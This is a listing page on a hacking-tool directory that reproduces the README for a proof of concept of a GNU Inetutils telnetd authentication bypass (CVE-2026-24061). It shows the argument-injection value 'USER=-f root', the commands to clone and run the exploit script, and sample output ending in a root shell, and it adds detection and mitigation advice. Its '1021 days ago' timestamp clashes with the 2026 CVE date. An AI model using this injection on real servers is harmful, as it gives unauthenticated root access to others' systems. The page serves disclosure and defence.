Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061-Telnetd — CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass | Kitploit
Tools/GitHubGitHub/ish3ng0m4/cve-2026-24061-telnetd
Vulnerability AnalysisExploitationPenetration TestingAuthenticationLearning & EducationRemote Access Tool
GitHubish3ng0m4/cve-2026-24061-telnetd

CVE-2026-24061-Telnetd

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass

View Repository
1021 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061
GNU Inetutils Telnetd Authentication Bypass

CVE: CVE-2026-24061
Severity: Critical
CVSS: 9.8 (Critical)
CWE: CWE-88 — Improper Neutralization of Argument Delimiters in a Command
Affected Component: GNU Inetutils telnetd
Affected Versions: 1.9.3 through 2.7

Overview

CVE-2026-24061 is a critical authentication bypass vulnerability in the Telnet server implementation provided by GNU Inetutils. The vulnerability originates from insufficient validation of the client-controlled USER environment variable when Telnet automatic login is enabled. A malicious value can be interpreted as an option to the system login program rather than as a username. Under vulnerable configurations, an unauthenticated remote attacker may abuse this behavior to invoke login with the -f option and bypass authentication, potentially obtaining a shell with the privileges of the requested account.

When the affected Telnet service is running with root privileges, successful exploitation can result in unauthenticated remote root access.

Technical Description

The vulnerable execution flow can be summarized as:

root@kitploit:~
 Telnet Client
      │
      │ USER=-f root
      ▼
    telnetd
      │
      │ constructs login arguments
      ▼
 login -f root
      │
      │ authentication bypass
      ▼
 root shell

The issue is triggered through the interaction between Telnet's automatic login functionality and the handling of the USER environment variable.

The attacker-controlled value:

root@kitploit:~
 -f root

is not treated strictly as a username. Instead, it can become an argument to login, resulting in behavior equivalent to:

root@kitploit:~
 login -f root

The -f option instructs login to bypass the normal authentication process for the specified user.

Proof of Concept PoC

The repository includes a Python 3 proof of concept that performs the Telnet connection, handles the required protocol negotiation, injects the malicious USER value, and verifies the resulting session.

Clone the repository (Recommended)

root@kitploit:~
 git clone https://github.com/Ish3ng0m4/CVE-2026-24061-Telnetd.git
 cd CVE-2026-24061-Telnetd
 chmod +x poc.py
 python3 poc.py <TARGET> <PORT>

Download poc.py only

root@kitploit:~
 wget https://raw.githubusercontent.com/Ish3ng0m4/CVE-2026-24061-Telnetd/main/poc.py

Usage

Make the PoC executable:

root@kitploit:~
 chmod +x poc.py

Run it by providing the target address and Telnet port:

root@kitploit:~
 python3 poc.py <TARGET> <PORT>

Example:

root@kitploit:~
 python3 poc.py 127.0.0.1 23

Successful Exploitation

A vulnerable target produces output similar to:

CVE-2026-24061 - GNU Inetutils telnetd Auth Bypass

root@kitploit:~
 [*] Target: 127.0.0.1:23
 [+] Connected
 [*] Injected USER=-f root
 
 [+] VULNERABLE

The PoC then provides an interactive session.

Privilege escalation can be confirmed with:

root@kitploit:~
 id

Expected result:

root@kitploit:~
 uid=0(root) gid=0(root) groups=0(root)

This confirms that the Telnet authentication mechanism was bypassed and the resulting session has root privileges.

PoC Workflow

The exploit performs the following operations:

Connects to the target Telnet service. Performs the required Telnet protocol negotiation. Enables the automatic-login behavior required for exploitation. Supplies the malicious USER=-f root value. Allows the vulnerable telnetd implementation to pass the manipulated value to login. Receives the resulting session. Provides an interactive terminal to the operator.

The PoC does not rely on credentials for the vulnerable authentication path.

Affected Configurations

Exploitation is dependent on the target configuration and the interaction between telnetd and the system's login implementation.

The primary conditions are:

GNU Inetutils telnetd within the affected version range.
Telnet service accessible to the attacker.
Automatic login functionality enabled or available.
Vulnerable handling of the USER environment variable.
A compatible login implementation capable of interpreting the injected option.

Consequently, the presence of an affected Inetutils version alone should not be treated as proof of exploitability. Distribution patches and service configuration must also be considered.

Impact

CVE-2026-24061 can completely compromise a vulnerable system.

Depending on the privileges under which telnetd operates, exploitation may provide:

Authentication bypass
Unauthorized local account access
Remote command execution
Privilege escalation
Root-level access
Complete system compromise

The highest-risk scenario is a remotely accessible Telnet service where exploitation results in a root session.

Detection

Potential indicators of exploitation include:

Unexpected connections to TCP/23.
Telnet authentication attempts using unusual usernames.
Suspicious USER values beginning with command-line options.
Unexpected login process arguments.
Root sessions originating from telnetd.
Unexpected processes spawned by the Telnet service.

Network monitoring should also identify systems unnecessarily exposing Telnet services.

Mitigation

The recommended response is to remove Telnet and use SSH for remote administration.

If Telnet cannot immediately be removed:

Upgrade to a vendor-provided version containing the security fix.
Apply the appropriate operating-system security update.
Restrict TCP/23 to trusted management networks.
Prevent direct exposure of Telnet to untrusted networks.
Monitor Telnet authentication and process activity.

Because Linux distributions may backport security fixes without changing the upstream version number, administrators should verify the security status of their distribution package rather than relying solely on the displayed version.

Validation

The vulnerability was successfully reproduced against a vulnerable GNU Inetutils Telnet service running on Ubuntu 22.04.5 LTS.

The PoC established a connection to TCP/23, injected:

root@kitploit:~
 USER=-f root

and obtained a root session.

Privilege verification returned:

root@kitploit:~
 uid=0(root) gid=0(root) groups=0(root)

This provides direct confirmation of the security impact.

Disclaimer

This proof of concept is provided for security research, vulnerability validation, authorized penetration testing and educational purposes.

Only test systems for which you have explicit authorization.

Gabriel D. Ishengoma
Offensive Security · Cybersecurity Research · Digital Forensics

Download Tool